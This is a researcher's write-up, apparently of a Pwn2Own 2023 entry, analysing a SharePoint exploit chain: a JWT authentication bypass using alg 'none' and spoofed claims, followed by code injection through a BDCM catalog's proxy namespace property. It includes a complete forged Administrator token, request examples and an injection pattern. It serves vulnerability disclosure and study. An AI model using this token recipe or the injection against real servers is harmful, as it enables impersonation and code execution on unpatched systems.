Brief

I may have achieved successful exploitation of a SharePoint target during Pwn2Own Vancouver 2023. While the live demonstration lasted only approximately 30 seconds, it is noteworthy that the process of discovering and crafting the exploit chain consumed nearly a year of meticulous effort and research to complete the full exploit chain.

This exploit chain leverages two vulnerabilities to achieve pre-auth remote code execution (RCE) on the SharePoint server:

  1. Authentication Bypass – An unauthenticated attacker can impersonate as any SharePoint user by spoofing valid JSON Web Tokens (JWTs), using the none signing algorithm to subvert signature validation checks when verifying JWT tokens used for OAuth authentication. This vulnerability has been found right after I started this project for two days.
  2. Code Injection – A SharePoint user with Sharepoint Owners permission can inject arbitrary code by replacing /BusinessDataMetadataCatalog/BDCMetadata.bdcm file in the web root directory to cause compilation of the injected code into an assembly that is subsequently executed by SharePoint. This vulnerability was found on Feb 2022.

The specific part of the Authentication Bypass vuln is: it can access to SharePoint API only. So, the most difficult part is to find the post-auth RCE chain that using SP API.

Affected products/Tested version

Vulnerability #1: SharePoint Application Authentication Bypass

With the default SharePoint setup configuration, almost every requests send to SharePoint site will require NTLM Auth to process. While analyzing web config file, I’ve realized that there are at least 4 authentication types we can use.

Auth Module Handled by class
FederatedAuthentication SPFederationAuthenticationModule
SessionAuthentication SPSessionAuthenticationModule
SPApplicationAuthentication SPApplicationAuthenticationModule
SPWindowsClaimsAuthentication SPWindowsClaimsAuthenticationHttpModule

I started to analyzing these modules one by one, then I’ve found something interesting in the SPApplicationAuthenticationModule.

This module registers the SPApplicationAuthenticationModule.AuthenticateRequest() method for the Http event AuthenticateRequest:

namespace Microsoft.SharePoint.IdentityModel
{
  internal sealed class SPApplicationAuthenticationModule : IHttpModule
  {
    public void Init(HttpApplication context)
    {
      if (context == null)
      {
        throw new ArgumentNullException("context");
      }
      context.AuthenticateRequest += this.AuthenticateRequest;
      context.PreSendRequestHeaders += this.PreSendRequestHeaders;
    }
    //...
  }
  //...
}

So everytime we try to send HTTP request to SharePoint Site, this method will be called to handle the authentication logic! Take a closer look at the SPApplicationAuthenticationModule.AuthenticateRequest() method, SPApplicationAuthenticationModule.ShouldTryApplicationAuthentication() will be called to check if the current URL is permitted to use OAuth as the authentication method:

private void AuthenticateRequest(object sender, EventArgs e)
{
  if (!SPApplicationAuthenticationModule.ShouldTryApplicationAuthentication(context, spfederationAuthenticationModule)) // [1]
  {
    spidentityReliabilityMonitorAuthenticateRequest.ExpectedFailure(TaggingUtilities.ReserveTag(18990616U), "Not an OAuthRequest.");
    //...
  }
  else
  {
    bool flag = this.ConstructIClaimsPrincipalAndSetThreadIdentity(httpApplication, context, spfederationAuthenticationModule, out text); // [2]
    if (flag)
    {
      //...
      spidentityReliabilityMonitorAuthenticateRequest.Success(null);
    }
    else
    {
      //...
      OAuthMetricsEventHelper.LogOAuthMetricsEvent(text, QosErrorType.ExpectedFailure, "Can't sign in using token.");
    }
    //...
  }
  //...
}

At [1], If the request URL contains one of these patterns, it will be allowed to use OAuth authentication:

  • /_vti_bin/client.svc
  • /_vti_bin/listdata.svc
  • /_vti_bin/sites.asmx
  • /_api/
  • /_vti_bin/ExcelRest.aspx
  • /_vti_bin/ExcelRest.ashx
  • /_vti_bin/ExcelService.asmx
  • /_vti_bin/PowerPivot16/UsageReporting.svc
  • /_vti_bin/DelveApi.ashx
  • /_vti_bin/DelveEmbed.ashx
  • /_layouts/15/getpreview.ashx
  • /_vti_bin/wopi.ashx
  • /_layouts/15/userphoto.aspx
  • /_layouts/15/online/handlers/SpoSuiteLinks.ashx
  • /_layouts/15/wopiembedframe.aspx
  • /_vti_bin/homeapi.ashx
  • /_vti_bin/publiccdn.ashx
  • /_vti_bin/TaxonomyInternalService.json/GetSuggestions
  • /_layouts/15/download.aspx
  • /_layouts/15/doc.aspx
  • /_layouts/15/WopiFrame.aspx

When the above condition is satisfied, SPApplicationAuthenticationModule.ConstructIClaimsPrincipalAndSetThreadIdentity() will invoked to continue processing the authentication request at [2].

The relevant code for the SPApplicationAuthenticationModule.ConstructIClaimsPrincipalAndSetThreadIdentity() method is shown below:

private bool ConstructIClaimsPrincipalAndSetThreadIdentity(HttpApplication httpApplication, HttpContext httpContext, SPFederationAuthenticationModule fam, out string tokenType)
{
  //...
  if (!this.TryExtractAndValidateToken(httpContext, out spincomingTokenContext, out spidentityProofToken)) // [3]
  {
    ULS.SendTraceTag(832154U, ULSCat.msoulscat_WSS_ApplicationAuthentication, ULSTraceLevel.Medium, "SPApplicationAuthenticationModule: Couldn't find a valid token in the request.");
    return false;
  }
  //...
  if (spincomingTokenContext.TokenType != SPIncomingTokenType.Loopback && httpApplication != null && !SPSecurityTokenServiceManager.LocalOrThrow.AllowOAuthOverHttp && !Uri.UriSchemeHttps.Equals(SPAlternateUrl.ContextUri.Scheme, StringComparison.OrdinalIgnoreCase)) // [4]
  {
    SPApplicationAuthenticationModule.SendSSLRequiredResponse(httpApplication);
  }
  JsonWebSecurityToken jsonWebSecurityToken = spincomingTokenContext.SecurityToken as JsonWebSecurityToken;
  //...
  this.SignInProofToken(httpContext, jsonWebSecurityToken, spidentityProofToken); // [5]
  //...
}

Note: The code at [4] and [5] will be discussed at a much later stage.

At [3], the SPApplicationAuthenticationModule.TryExtractAndValidateToken() method will try to parse the authentication token from HTTP request and perform validation checks:

private bool TryExtractAndValidateToken(HttpContext httpContext, out SPIncomingTokenContext tokenContext, out SPIdentityProofToken identityProofToken)
{
  //...
  if (!this.TryParseOAuthToken(httpContext.Request, out text)) // [6]
  {
    return false;
  }
  //...
  if (VariantConfiguration.IsGlobalExpFeatureToggleEnabled(ExpFeatureId.AuthZenProofToken) && this.TryParseProofToken(httpContext.Request, out text2))
  {
    SPIdentityProofToken spidentityProofToken = SPIdentityProofTokenUtilities.CreateFromJsonWebToken(text2, text); // [7]
  }
  if (VariantConfiguration.IsGlobalExpFeatureToggleEnabled(ExpFeatureId.AuthZenProofToken) && !string.IsNullOrEmpty(text2))
  {
    Microsoft.IdentityModel.Tokens.SecurityTokenHandler identityProofTokenHandler = SPClaimsUtility.GetIdentityProofTokenHandler(); 
    StringBuilder stringBuilder = new StringBuilder();
    using (XmlWriter xmlWriter = XmlWriter.Create(stringBuilder))
    {
      identityProofTokenHandler.WriteToken(xmlWriter, spidentityProofToken); // [8]
    }
    SPIdentityProofToken spidentityProofToken2 = null;
    using (XmlReader xmlReader = XmlReader.Create(new StringReader(stringBuilder.ToString())))
    {
      spidentityProofToken2 = identityProofTokenHandler.ReadToken(xmlReader) as SPIdentityProofToken;
    }

    ClaimsIdentityCollection claimsIdentityCollection = null;
    claimsIdentityCollection = identityProofTokenHandler.ValidateToken(spidentityProofToken2); // [9]
    tokenContext = new SPIncomingTokenContext(spidentityProofToken2.IdentityToken, claimsIdentityCollection);
    identityProofToken = spidentityProofToken2;
    tokenContext.IsProofTokenScenario = true;
    SPClaimsUtility.VerifyProofTokenEndPointUrl(tokenContext); // [10]
    SPIncomingServerToServerProtocolIdentityHandler.SetRequestIncomingOAuthIdentityType(tokenContext, httpContext.Request);
    SPIncomingServerToServerProtocolIdentityHandler.SetRequestIncomingOAuthTokenType(tokenContext, httpContext.Request);
  }
}

At [6], the TryParseOAuthToken() method will attempt to retrieve the OAuth access token from HTTP request from either the query string parameter access_token or the Authorization header, and store it into the text variable.

For example, the HTTP request will resemble the following:

GET /_api/web/ HTTP/1.1
Connection: close
Authorization: Bearer <access_token>
User-Agent: python-requests/2.27.1
Host: sharepoint

Similarly, after extracting the OAuth access token from the HTTP request, the TryParseProofToken() method will attempt to retrieve the proof token from HTTP request from either the query string parameter prooftoken or the X-PROOF_TOKEN header, and store it into the text2 variable.

At [7], both tokens are then passed to the SPIdentityProofTokenUtilities.CreateFromJsonWebToken() method as arguments.

The relevant code of the SPIdentityProofTokenUtilities.CreateFromJsonWebToken() method is shown below:

internal static SPIdentityProofToken CreateFromJsonWebToken(string proofTokenString, string identityTokenString)
{
  RequestApplicationSecurityTokenResponse.NonValidatingJsonWebSecurityTokenHandler nonValidatingJsonWebSecurityTokenHandler = new RequestApplicationSecurityTokenResponse.NonValidatingJsonWebSecurityTokenHandler();
  SecurityToken securityToken = nonValidatingJsonWebSecurityTokenHandler.ReadToken(proofTokenString); // [11]
  if (securityToken == null)
  {
    ULS.SendTraceTag(3536843U, ULSCat.msoulscat_WSS_ApplicationAuthentication, ULSTraceLevel.Unexpected, "CreateFromJsonWebToken: Proof token is not a valid JWT string.");
    throw new InvalidOperationException("Proof token is not JWT");
  }
  SecurityToken securityToken2 = nonValidatingJsonWebSecurityTokenHandler.ReadToken(identityTokenString); // [12]
  if (securityToken2 == null)
  {
    ULS.SendTraceTag(3536844U, ULSCat.msoulscat_WSS_ApplicationAuthentication, ULSTraceLevel.Unexpected, "CreateFromJsonWebToken: Identity token is not a valid JWT string.");
    throw new InvalidOperationException("Identity token is not JWT");
  }
  //...
  JsonWebSecurityToken jsonWebSecurityToken = securityToken2 as JsonWebSecurityToken;
  if (jsonWebSecurityToken == null || !jsonWebSecurityToken.IsAnonymousIdentity())
  {
    spidentityProofToken = new SPIdentityProofToken(securityToken2, securityToken);
    try
    {
      new SPAudienceValidatingIdentityProofTokenHandler().ValidateAudience(spidentityProofToken); // [13]
      return spidentityProofToken;
    }
    //...
  }
  //...
}

At a quick glance, it can be inferred that both the access token (passed as identityTokenString parameter) and the proof token (passed as proofTokenString parameter) are expected to be JSON Web Tokens (JWTs).

An instance of the RequestApplicationSecurityTokenResponse.NonValidatingJsonWebSecurityTokenHandler type is initialized to perform token parsing and validation before calling the nonValidatingJsonWebSecurityTokenHandler.ReadToken() method at [11].

The RequestApplicationSecurityTokenResponse.NonValidatingJsonWebSecurityTokenHandler type is a sub-type of JsonWebSecurityTokenHandler. Since RequestApplicationSecurityTokenResponse.NonValidatingJsonWebSecurityTokenHandler does not override the ReadToken() method, calling nonValidatingJsonWebSecurityTokenHandler.ReadToken() method is equivalent to calling JsonWebSecurityTokenHandler.ReadToken() (wrapper function for the JsonWebSecurityTokenHandler.ReadTokenCore() method).

The relevant code of JsonWebSecurityTokenHandler that validates the access and proof tokens at [11] and at [12] respectively is shown below:

public virtual SecurityToken ReadToken(string token)
{
  return this.ReadTokenCore(token, false);
}
public virtual bool CanReadToken(string token)
{
  Utility.VerifyNonNullOrEmptyStringArgument("token", token);
  return this.IsJsonWebSecurityToken(token);
}
private bool IsJsonWebSecurityToken(string token)
{
  return Regex.IsMatch(token, "^[A-Za-z0-9-_]+\\.[A-Za-z0-9-_]+\\.[A-Za-z0-9-_]*$");
}
private SecurityToken ReadTokenCore(string token, bool isActorToken)
{
  Utility.VerifyNonNullOrEmptyStringArgument("token", token);
  if (!this.CanReadToken(token)) // [14]
  {
    throw new SecurityTokenException("Unsupported security token.");
  }
  string[] array = token.Split(new char[] { '.' });
  string text = array[0];  // JWT Header
  string text2 = array[1]; // JWT Payload (JWS Claims)
  string text3 = array[2]; // JWT Signature
  Dictionary<string, string> dictionary = new Dictionary<string, string>(StringComparer.Ordinal);
  dictionary.DecodeFromJson(Base64UrlEncoder.Decode(text));
  Dictionary<string, string> dictionary2 = new Dictionary<string, string>(StringComparer.Ordinal);
  dictionary2.DecodeFromJson(Base64UrlEncoder.Decode(text2));
  string text4;
  dictionary.TryGetValue("alg", out text4); // [15]
  SecurityToken securityToken = null;
  if (!StringComparer.Ordinal.Equals(text4, "none")) // [16]
  {
    if (string.IsNullOrEmpty(text3))
    {
      throw new SecurityTokenException("Missing signature.");
    }
    SecurityKeyIdentifier signingKeyIdentifier = this.GetSigningKeyIdentifier(dictionary, dictionary2);
    SecurityToken securityToken2;
    base.Configuration.IssuerTokenResolver.TryResolveToken(signingKeyIdentifier, out securityToken2);
    if (securityToken2 == null)
    {
      throw new SecurityTokenException("Invalid JWT token. Could not resolve issuer token.");
    }
    securityToken = this.VerifySignature(string.Format(CultureInfo.InvariantCulture, "{0}.{1}", new object[] { text, text2 }), text3, text4, securityToken2);
  }
  //...
}

At [14], the JsonWebSecurityTokenHandler.CanReadToken() method is first invoked to ensure that the token matches the regular expression ^[A-Za-z0-9-_]+\\.[A-Za-z0-9-_]+\\.[A-Za-z0-9-_]*$. Basically, this checks that the user-supplied token resembles a valid JWT token with each portion (i.e. header, payload and signature) being Base64-encoded.

Afterwards, the header, payload and signature portions of the JWT token are extracted. Base64-decoding is then performed on header and payload portions before parsing them as JSON objects.

At [15], the alg field (i.e. signing algorithm) is extracted from the header portion. For example, the value for the alg field is HS256 if the Base64-decoded header portion is:

{
  "alg": "HS256",
  "typ": "JWT"
}

The first part of the root cause of this authentication bypass vulnerability can be found at [16] – there is a logic flaw when validating the signature of the JWT token provided. If the alg field is not set to none, the method VerifySignature() is called to verify the signature of JWT token provided. However, if the alg is none, the signature validation check in JsonWebSecurityTokenHandler.ReadTokenCore() is skipped!

Back at [13], SPAudienceValidatingIdentityProofTokenHandler.ValidateAudience() performs validation checks against the aud (audience) field from the header portion of the proof token supplied.

Below is an example of a valid value for the aud field:

00000003-0000-0ff1-ce00-000000000000/splab@3b80be6c-6741-4135-9292-afed8df596af

The format of the aud field is <client_id>/<hostname>@<realm>:

  • The static value 00000003-0000-0ff1-ce00-000000000000 is accepted as a valid <client_id> for all SharePoint on-premise instances.
  • <hostname> refers to the hostname of the SharePoint server (target) for the current HTTP request (e.g. splab)
  • The <realm> (e.g. 3b80be6c-6741-4135-9292-afed8df596af) can be obtained from the WWW-Authenticate response header by sending a request to /_api/web/ with header Authorization: Bearer .

Below is an example of the HTTP request used to obtain the <realm> required to construct a valid value for the aud field:

GET /_api/web/ HTTP/1.1
Connection: close
User-Agent: python-requests/2.27.1
Host: sharepoint
Authorization: Bearer 

The HTTP response will include the <realm> in the WWW-Authenticate response header:

HTTP/1.1 401 Unauthorized
Content-Type: text/plain; charset=utf-8
//...
WWW-Authenticate: Bearer realm="3b80be6c-6741-4135-9292-afed8df596af",client_id="00000003-0000-0ff1-ce00-000000000000",trusted_issuers="00000003-0000-0ff1-ce00-000000000000@3b80be6c-6741-4135-9292-afed8df596af"

After that, a new SPIdentityProofToken will be created from user-supplied access and proof tokens, and the control flows to [8]. At [8], identityProofTokenHandler is returned by the SPClaimsUtility.GetIdentityProofTokenHandler() method:

internal static SecurityTokenHandler GetIdentityProofTokenHandler()
{
  //...
  return securityTokenHandlerCollection.Where((SecurityTokenHandler h) => h.TokenType == typeof(SPIdentityProofToken)).First<SecurityTokenHandler>();
}

The implementation of the SPClaimsUtility.GetIdentityProofTokenHandler() method implies that the identityProofTokenHandler returned will be an instance of SPIdentityProofTokenHandler.

At [9], identityProofTokenHandler.ValidateToken(spidentityProofToken2) will then flow to SPIdentityProofTokenHandler.ValidateTokenIssuer().

In the SPIdentityProofTokenHandler.ValidateTokenIssuer() method, notice that if the token parameter is a hashed proof token, validation of the issuer field will be skipped!

internal void ValidateTokenIssuer(JsonWebSecurityToken token)
{

  bool flag = VariantConfiguration.IsGlobalExpFeatureToggleEnabled(ExpFeatureId.AuthZenHashedProofToken);
  if (flag && SPIdentityProofTokenUtilities.IsHashedProofToken(token))
  {
    ULS.SendTraceTag(21559514U, SPJsonWebSecurityBaseTokenHandler.Category, ULSTraceLevel.Medium, "Found hashed proof tokem, skipping issuer validation.");
    return;
  }
  //...
  this.ValidateTokenIssuer(token.ActorToken.IssuerToken as X509SecurityToken, token.ActorToken.Issuer);
}

The implementation of the SPIdentityProofTokenUtilities.IsHashedProofToken() method is shown below:

internal static bool IsHashedProofToken(JsonWebSecurityToken token)
{
  if (token == null)
  {
    return false;
  }
  if (token.Claims == null)
  {
    return false;
  }
  JsonWebTokenClaim singleClaim = token.Claims.GetSingleClaim("ver");
  return singleClaim != null && singleClaim.Value.Equals(SPServerToServerProtocolConstants.HashedProofToken, StringComparison.InvariantCultureIgnoreCase);
}

Setting the ver field to hashedprooftoken in the payload portion of the JWT token makes the SPIdentityProofTokenUtilities.IsHashedProofToken() method return true, allowing the issuer field validation check to be subverted.

Back to [10], SPClaimsUtility.VerifyProofTokenEndPointUrl(tokenContext) is called to verify the hash for current URL. The required value to be stored in the endpointurl field in the JWT payload portion can be derived by computing:

base64_encode(sha256(request_url))

After executing SPApplicationAuthenticationModule.TryExtractAndValidateToken(), the code flows to the SPApplicationAuthenticationModule.ConstructIClaimsPrincipalAndSetThreadIdentity() method and reaches [4]:

private bool ConstructIClaimsPrincipalAndSetThreadIdentity(HttpApplication httpApplication, HttpContext httpContext, SPFederationAuthenticationModule fam, out string tokenType)
{
  //...
  if (!this.TryExtractAndValidateToken(httpContext, out spincomingTokenContext, out spidentityProofToken)) // [3]
    //...
    if (spincomingTokenContext.TokenType != SPIncomingTokenType.Loopback && httpApplication != null && !SPSecurityTokenServiceManager.LocalOrThrow.AllowOAuthOverHttp && !Uri.UriSchemeHttps.Equals(SPAlternateUrl.ContextUri.Scheme, StringComparison.OrdinalIgnoreCase)) // [4]
  {
    SPApplicationAuthenticationModule.SendSSLRequiredResponse(httpApplication);
  }
  JsonWebSecurityToken jsonWebSecurityToken = spincomingTokenContext.SecurityToken as JsonWebSecurityToken;
  //...
  this.SignInProofToken(httpContext, jsonWebSecurityToken, spidentityProofToken); // [5]

If the spincomingTokenContext.TokenType is not spincomingTokenContext.Loopback and the current HTTP request is not encrypted by SSL, an exception will be thrown. As such, the isloopback claim needs to be set to true within the spoofed JWT token to make spincomingTokenContext.TokenType == spincomingTokenContext.Loopback, thereby ensuring that no exceptions are thrown and the code continues to execute normally.

Subsequently, at [5], the token will be passed into SPApplicationAuthenticationModule.SignInProofToken().

private void SignInProofToken(HttpContext httpContext, JsonWebSecurityToken token, SPIdentityProofToken proofIdentityToken)
{
  SecurityContext.RunAsProcess(delegate
  {
    Uri contextUri = SPAlternateUrl.ContextUri;
    SPAuthenticationSessionAttributes? spauthenticationSessionAttributes = new SPAuthenticationSessionAttributes?(SPAuthenticationSessionAttributes.IsBrowser);
    SecurityToken securityToken = SPSecurityContext.SecurityTokenForProofTokenAuthentication(proofIdentityToken.IdentityToken, proofIdentityToken.ProofToken, spauthenticationSessionAttributes);
    IClaimsPrincipal claimsPrincipal = SPFederationAuthenticationModule.AuthenticateUser(securityToken);
    //...
  });
}

This method will create an instance of SecurityTokenForContext from the user-supplied JWT token and send it to Security Token Service (STS) for authentication. This is the most important part of the whole vulnerability – if the STS accepts the spoofed JWT token, then it is possible to impersonate as any SharePoint user!

For brevity, the spoofed JWT token should be resemble the following:

eyJhbGciOiAibm9uZSJ9.eyJpc3MiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAiLCJhdWQiOiAgIjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMC9zcGxhYkAzYjgwYmU2Yy02NzQxLTQxMzUtOTI5Mi1hZmVkOGRmNTk2YWYiLCJuYmYiOiIxNjczNDEwMzM0IiwiZXhwIjoiMTY5MzQxMDMzNCIsIm5hbWVpZCI6ImMjLnd8QWRtaW5pc3RyYXRvciIsICAgImh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vc2hhcmVwb2ludC8yMDA5LzA4L2NsYWltcy91c2VybG9nb25uYW1lIjoiQWRtaW5pc3RyYXRvciIsICAgImFwcGlkYWNyIjoiMCIsICJpc3VzZXIiOiIwIiwgImh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vb2ZmaWNlLzIwMTIvMDEvbmFtZWlkaXNzdWVyIjoiQWNjZXNzVG9rZW4iLCAgInZlciI6Imhhc2hlZHByb29mdG9rZW4iLCJlbmRwb2ludHVybCI6ICJGVkl3QldUdXVXZnN6TzdXWVJaWWlvek1lOE9hU2FXTy93eURSM1c2ZTk0PSIsIm5hbWUiOiJmI3h3fEFkbWluaXN0cmF0b3IiLCJpZGVudGl0eXByb3ZpZGVyIjoid2luZE93czphYWFhYSIsInVzZXJpZCI6ImFzYWFkYXNkIn0.YWFh

The Base64-decoded portions of the spoofed JWT token is shown below:

  • Header: {"alg": "none"}
  • Payload: {"iss":"00000003-0000-0ff1-ce00-000000000000","aud": "00000003-0000-0ff1-ce00-000000000000/splab@3b80be6c-6741-4135-9292-afed8df596af","nbf":"1673410334","exp":"1693410334","nameid":"c#.w|Administrator", "http://schemas.microsoft.com/sharepoint/2009/08/claims/userlogonname":"Administrator", "appidacr":"0", "isuser":"0", "http://schemas.microsoft.com/office/2012/01/nameidissuer":"AccessToken", "ver":"hashedprooftoken","endpointurl": "FVIwBWTuuWfszO7WYRZYiozMe8OaSaWO/wyDR3W6e94=","name":"f#xw|Administrator","identityprovider":"windOws:aaaaa","userid":"asaadasdIn0

Note that the nameid field will need to be modified to impersonate the corresponding user in the SharePoint site.


So we’ve got an authentication bypass, but it may require to know at least one username exists in the SharePoint site. If not, SharePoint Site will reject the authentication and we can’t access to any feature. At first, I thought that problem was easy to solve because the user “Administrator” exists in every windows server 2022 instance. But it’s not! . . Yes, we can assume that user “Administrator” exists in every windows server 2022 instance, but that’s not what we need. With a correctly configured SharePoint instance:

  • The SharePoint Service user should not be a “built-in administrators”
  • Also the Site Admin user should not be the “built-in administrators”
  • Only the “Farm Administrator” need to be the “built-in administrators” of the SharePoint Server

That means in the Pwn2Own setup, the “Administrator” account will not be a SharePoint Site Member.

This part of the exploit took me a few days of reading ZDI’s series blog post about SharePoint again and again, until i realized this line:

This entrypoint /my didn’t exist in my SharePoint instance. After searching for a while, I’ve found out they (team ZDI) use the Initial Farm Configuration Wizard to setup the SharePoint server instead of configuring it manually (like what i thought/did). While using the Initial Farm Configuration Wizard, many other feature will be enabled, User Profile Service is the service responsible for the entrypoint /my. This entrypoint has the Read Permission granted to Authenticated users, which mean any authenticated users can access to this site, get user list and admin username.

By using the authentication bypass in My Site site,

  • At first request, we can first impersonate any users on windows, even local users like NT AUTHORITY\LOCAL SERVICE, NT AUTHORITY\SYSTEM.
  • After authenticated, get site admin by using ListData service at: /my/_vti_bin/listdata.svc/UserInformationList?$filter=IsSiteAdmin eq true

Then we can impersonate Site Admin user and perform any further action!

Vulnerability #2: Code Injection in DynamicProxyGenerator.GenerateProxyAssembly()

As mentioned at the beginning, although we can impersonate as any user, but limited only in SharePoint API. I’ve been searching back old SharePoint vuln but can’t find any vulnerability that reachable via API (or at least i don’t know how at that time). Well, then it took me half of 2022 to read SharePoint API source code and end up with this vulnerability! The code injection vulnerability exists in DynamicProxyGenerator.GenerateProxyAssembly() method. The relevant portion of the aforesaid method’s implementation is shown below:

//Microsoft.SharePoint.BusinessData.SystemSpecific.WebService.DynamicProxyGenerator
public virtual Assembly GenerateProxyAssembly(DiscoveryClientDocumentCollection serviceDescriptionDocuments, string proxyNamespaceName, string assemblyPathAndName, string protocolName, out string sourceCode)
{
  //...
  CodeNamespace codeNamespace = new CodeNamespace(proxyNamespaceName); // [17]
  //...
  CodeCompileUnit codeCompileUnit = new CodeCompileUnit();
  codeCompileUnit.Namespaces.Add(codeNamespace); // [18]
  codeCompileUnit.ReferencedAssemblies.Add("System.dll");
  //...
  CodeDomProvider codeDomProvider = CodeDomProvider.CreateProvider("CSharp");
  StringCollection stringCollection = null;
  //...
  using (TextWriter textWriter = new StringWriter(new StringBuilder(), CultureInfo.InvariantCulture))
  {
    CodeGeneratorOptions codeGeneratorOptions = new CodeGeneratorOptions();
    codeDomProvider.GenerateCodeFromCompileUnit(codeCompileUnit, textWriter, codeGeneratorOptions);
    textWriter.Flush();
    sourceCode = textWriter.ToString(); // [19]
  }
  CompilerResults compilerResults = codeDomProvider.CompileAssemblyFromDom(compilerParameters, new CodeCompileUnit[] { codeCompileUnit }); // [20]
  //...
}

The main logic of this method is to generate an Assembly with the proxyNameSpace. At [17], an instance of CodeNamespace is initialized using the proxyNamespaceName parameter. This CodeNamespace instance is then added to codeCompileUnit.Namespaces at [18]. After that, at [19], codeDomProvider.GenerateCodeFromCompileUnit() will generate the source code using the aforesaid codeCompileUnit which included our proxyNamespaceName, storing the source code in the variable sourceCode.

It was discovered that no validation is done for the proxyNamespaceName parameter. Consequently, by supplying malicious input as the proxyNamespaceName parameter, arbitrary contents can be injected into the code to be compiled for the Assembly to be generated at [20].

For example:

  • If proxyNamespaceName is Foo, then the generated code is:
namespace Foo{}
  • But if a malicious input such as Hacked{} namespace Foo is supplied for the proxyNamespaceName parameter, the following code is generated and compiled:
namespace Hacked{
	//Malicious code
}
namespace Foo{}

The DynamicProxyGenerator.GenerateProxyAssembly() method is invoked via reflection in WebServiceSystemUtility.GenerateProxyAssembly():

[PermissionSet(SecurityAction.Assert, Name = "FullTrust")]
public virtual ProxyGenerationResult GenerateProxyAssembly(ILobSystemStruct lobSystemStruct, INamedPropertyDictionary lobSystemProperties)
{
  AppDomain appDomain = AppDomain.CreateDomain(lobSystemStruct.Name, new Evidence(new object[]
  {
    new Zone(SecurityZone.MyComputer)
  }, new object[0]), setupInformation, permissionSet, new StrongName[0]);
  object dynamicProxyGenerator = null;
  SPSecurity.RunWithElevatedPrivileges(delegate
  {
    dynamicProxyGenerator = appDomain.CreateInstanceAndUnwrap(this.GetType().Assembly.FullName, "Microsoft.SharePoint.BusinessData.SystemSpecific.WebService.DynamicProxyGenerator", false, BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic, null, null, null, null, null); // [21]
  });
  Uri uri = WebServiceSystemPropertyParser.GetUri(lobSystemProperties, "WsdlFetchUrl");
  string webServiceProxyNamespace = WebServiceSystemPropertyParser.GetWebServiceProxyNamespace(lobSystemProperties); // [22]
  string webServiceProxyProtocol = WebServiceSystemPropertyParser.GetWebServiceProxyProtocol(lobSystemProperties);
  WebProxy webProxy = WebServiceSystemPropertyParser.GetWebProxy(lobSystemProperties);
  object[] array = null;
  try
  {
    array = (object[])dynamicProxyGenerator.GetType().GetMethod("GenerateProxyAssemblyInfo", BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic).Invoke(dynamicProxyGenerator, new object[] { uri, webServiceProxyNamespace, webServiceProxyProtocol, webProxy, null, httpAuthenticationMode, text, text2 }); // [23]
  }
  //...

The reflection calls can be found at [21] and [23].

At [22], notice that the proxyNamespaceName is retrieved from method WebServiceSystemPropertyParser.GetWebServiceProxyNamespace(), which retrieves the WebServiceProxyNamespace property of the current LobSystem:

internal static string GetWebServiceProxyNamespace(INamedPropertyDictionary lobSystemProperties)
{
  //...
  string text = lobSystemProperties["WebServiceProxyNamespace"] as string;
  if (!string.IsNullOrEmpty(text))
  {
    return text.Trim();
  }
  //...
}

To reach the WebServiceSystemUtility.GenerateProxyAssembly() method, it was discovered that the Microsoft.SharePoint.BusinessData.MetadataModel.ClientOM.Entity.Execute() method could be used. As explained later on, this Entity.Execute() method can also be used to load the generated Assembly and instantiate a Type within the generated Assembly, thereby allowing for remote code execution.

The relevant code of the Microsoft.SharePoint.BusinessData.MetadataModel.ClientOM.Entity.Execute() method is shown below:

...
[ClientCallableMethod] // [24]
...
internal MethodExecutionResult Execute([ClientCallableConstraint(FixedId = "1", Type = ClientCallableConstraintType.NotNull)] [ClientCallableConstraint(FixedId = "2", Type = ClientCallableConstraintType.NotEmpty)] string methodInstanceName, [ClientCallableConstraint(FixedId = "3", Type = ClientCallableConstraintType.NotNull)] LobSystemInstance lobSystemInstance, object[] inputParams) // [25]
{
  if (((ILobSystemInstance)lobSystemInstance).GetLobSystem().SystemType == SystemType.DotNetAssembly) // [26]
  {
    throw new InvalidOperationException("ClientCall execute for DotNetAssembly lobSystem is not allowed.");
  }
  //...
  this.m_entity.Execute(methodInstance, lobSystemInstance, ref array); // [27]
}

At [24], since the method has the [ClientCallableMethod] attribute, the method is accessible via SharePoint REST APIs. There is a check at [26] to ensure that the SystemType of the LobSystem is not be equals to SystemType.DotNetAssembly before calling this.m_entity.Execute() at [27].

However, there is a small hurdle at this point – at [25], how does one obtain a valid reference of LobSystemInstance and supply it as an argument via REST API? It turns out that using the Client Query feature, it is possible to reference the desired LobSystemInstance through the use of ObjectIdentity, which is constructed by BCSObjectFactory. Essentially, using the Client Query feature allows invoking of any methods with the [ClientCallableMethod] attribute, and allow supplying of non-trivial arguments like object references.

For example, a request can be made to /_vti_bin/client.svc/ProcessQuery with the following request body to obtain a reference of the desired LobSystemInstance:

<Identity Id="17" Name="<random guid>|4da630b6-36c5-4f55-8e01-5cd40e96104d:lsifile:jHRORCVc,jHRORCVc" />

The static values used in the above payload are explained below:

  • 4da630b6-36c5-4f55-8e01-5cd40e96104d refers to the type ID used by BCSObjectFactory.GetObjectById().
  • lsifile will return the LobSystemInstance from BDCMetaCatalog file

BDCMetaCatalog refers to the Business Data Connectivity Metadata (BDCM) catalog, and LobSystem and Entity objects are stored within the BDCM catalog. The data of BDCM catalog can either be stored in the database or in a file located at /BusinessDataMetadataCatalog/BDCMetadata.bdcm rooted at the SharePoint site URL.

While analyzing BCSObjectFactory.GetObjectById(), it was discovered that it is possible to construct and obtain a reference of the LobSystem, LobSystemInstance and Entity from a BDCM catalog file.

Luckily, it is possible to write to the BDCM catalog file. This would mean that arbitrary LobSystem objects can be inserted, and arbitrary Property objects within the LobSystem object, such as the WebServiceProxyNamespace property, can be specified. Consequently, code injection via the WebServiceProxyNamespace property of the LobSystem object allows arbitrary code to be injected into the Assembly generated.

Going back to [27], this.m_entity can be an instance of Microsoft.SharePoint.BusinessData.MetadataModel.Dynamic.DataClass or Microsoft.SharePoint.BusinessData.MetadataModel.Static.DataClass. Regardless, both methods will eventually call Microsoft.SharePoint.BusinessData.Runtime.DataClassRuntime.Execute().

Subsequently, DataClassRuntime.Execute() will call DataClassRuntime.ExecuteInternal() -> ExecuteInternalWithAuthNFailureRetry() -> WebServiceSystemUtility.ExecuteStatic():

public override void ExecuteStatic(IMethodInstance methodInstance, ILobSystemInstance lobSystemInstance, object[] args, IExecutionContext context)
{
    //...
